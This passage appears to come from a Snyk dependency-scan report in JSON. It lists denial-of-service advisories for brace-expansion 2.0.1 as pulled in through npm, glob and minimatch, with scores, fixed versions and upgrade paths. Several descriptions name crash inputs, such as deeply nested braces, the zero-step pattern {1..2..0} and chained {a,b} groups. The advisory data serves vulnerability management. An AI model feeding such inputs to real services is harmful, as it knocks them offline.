Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
